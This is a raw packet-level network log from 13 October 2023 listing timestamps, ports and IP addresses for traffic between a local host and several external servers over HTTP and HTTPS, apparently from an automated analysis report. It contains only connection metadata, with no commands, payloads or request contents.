Oct 13, 2023 16:06:00.770484924 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.770517111 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.778990984 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.779048920 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.779081106 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.792598009 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.792659044 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.792685986 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.803406000 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.803458929 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.803483009 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.815705061 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.815738916 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.815764904 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.827686071 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.827717066 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.827758074 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.846723080 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.846802950 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.846880913 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.857912064 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.857939959 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.857969999 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.868155956 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.868206978 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.868221998 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.879446983 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.879519939 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.879738092 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.890552044 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.890618086 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.890645027 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.901211977 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.901258945 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.901290894 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.923687935 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.923707008 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.923744917 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.930129051 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.930185080 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.930191994 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.941260099 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.941301107 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.941309929 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.953135967 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.953186035 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.953195095 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.964965105 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.965018988 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.965043068 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.976564884 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.976581097 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.976624966 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.986088037 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.986107111 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.986140966 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.996782064 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:00.996857882 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:00.996933937 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.007500887 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.007550001 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.007551908 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.018129110 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.018182993 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.018209934 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.032769918 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.032793045 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.032819986 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.038801908 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.038851976 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.038876057 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.047904015 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.047950029 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.047956944 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.054637909 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.054673910 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.054696083 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.062210083 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.062242031 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.062262058 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.069621086 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.069658995 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.069679022 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.076814890 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.076833963 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.076881886 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.084184885 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.084203959 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.084247112 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.091463089 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.091519117 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.091526031 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.098166943 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.098208904 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.098215103 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.105113983 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.105142117 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.105159044 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.112041950 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.112059116 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.112097025 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.119190931 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.119209051 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.119236946 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.125328064 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.125425100 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.125447989 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.131503105 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.131550074 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.131577015 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.137687922 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.137706041 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.137753963 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.143836021 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.143868923 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.143887043 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.150338888 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.150386095 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.150413990 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.156419992 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.156476974 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.156506062 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.162497044 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.162554026 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.162679911 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.173093081 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.173116922 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.173141956 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.174350977 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.174369097 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.174395084 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.180236101 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.180254936 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.180293083 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.185911894 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.185929060 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.185966015 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.191657066 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.191674948 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.191701889 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.197668076 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.197685003 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.197712898 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.203236103 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.203253984 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.203300953 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.208997011 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.209036112 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.209049940 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.215419054 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.215437889 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.215467930 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.220151901 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.220170021 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.220196009 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.225652933 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.225689888 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.225719929 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.231179953 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.231293917 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.231323957 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.236723900 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.236764908 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.236803055 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.242042065 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.242059946 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.242141008 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.247327089 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.247344017 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.247387886 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.252576113 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.252594948 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.252643108 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.257821083 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.257838011 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.257880926 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.266334057 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.266350985 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.266387939 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.271229029 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.271258116 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.271286011 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.274888039 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.274944067 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.274971008 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.278991938 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.279047012 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.279081106 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.286341906 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.286360025 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.286405087 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.289535046 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.289597034 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.289639950 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.294305086 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.294373035 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.294449091 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.299170017 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.299196959 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.299212933 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.304291964 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.304337025 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.304338932 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.309256077 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.309315920 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.309343100 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.314466953 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.314505100 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.314527988 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.318911076 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.318963051 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.318964005 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.323671103 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.323719025 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.323730946 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.328641891 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.328660011 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.328700066 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.332838058 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.332890987 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.332933903 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.337631941 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.337649107 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.337688923 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.343300104 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.343342066 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.343369007 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.349148035 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.349206924 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.349219084 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.352253914 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.352297068 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.352351904 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.360927105 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.360987902 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.360987902 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.363074064 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.363149881 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.363164902 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.367558002 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.367626905 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.367645979 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.372152090 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.372208118 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.372214079 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.376331091 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.376379013 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.376383066 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.380686998 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.380706072 CEST	80	49764	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:01.380743980 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.429286957 CEST	49764	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:01.449852943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:01.449882030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:01.792505026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:01.809562922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:01.829230070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:01.829269886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:02.172063112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:02.191018105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:02.241796970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:03.163083076 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:03.163121939 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:03.163218975 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:03.163626909 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:03.163640022 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:03.666757107 CEST	49768	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:03.717556000 CEST	49769	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:03.717595100 CEST	443	49769	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:03.717665911 CEST	49769	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:03.735297918 CEST	49769	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:03.735311031 CEST	443	49769	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:03.893848896 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:03.893943071 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:03.895627975 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:03.895641088 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:03.896051884 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:03.896831036 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:03.938492060 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.021506071 CEST	80	49768	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:04.021606922 CEST	49768	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:04.021987915 CEST	49768	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:04.071851015 CEST	443	49769	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:04.071970940 CEST	49769	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:04.077424049 CEST	49769	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:04.077429056 CEST	443	49769	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:04.077832937 CEST	443	49769	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:04.077887058 CEST	49769	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:04.080424070 CEST	49769	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:04.122447968 CEST	443	49769	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:04.376187086 CEST	80	49768	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:04.395339012 CEST	80	49768	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:04.396162987 CEST	49768	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:04.510801077 CEST	49768	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:04.511523962 CEST	49770	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:04.596446037 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.596487045 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.596549988 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:04.596574068 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.679295063 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:04.679307938 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.858407974 CEST	443	49769	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:04.858547926 CEST	49769	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:04.858557940 CEST	443	49769	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:04.858628035 CEST	49769	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:04.859052896 CEST	49769	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:04.859071016 CEST	443	49769	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:04.865463972 CEST	80	49768	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:04.865592957 CEST	49768	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:04.879616022 CEST	80	49770	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:04.879709959 CEST	49770	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:04.879990101 CEST	49770	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:04.882399082 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:04.949994087 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950016022 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950047016 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950073004 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:04.950119019 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:04.950126886 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950618982 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950628996 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950651884 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950661898 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:04.950670004 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950694084 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:04.950946093 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950958014 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950979948 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.950989008 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:04.950999022 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:04.951024055 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.036519051 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.036561966 CEST	443	49767	213.6.54.58	192.168.2.4
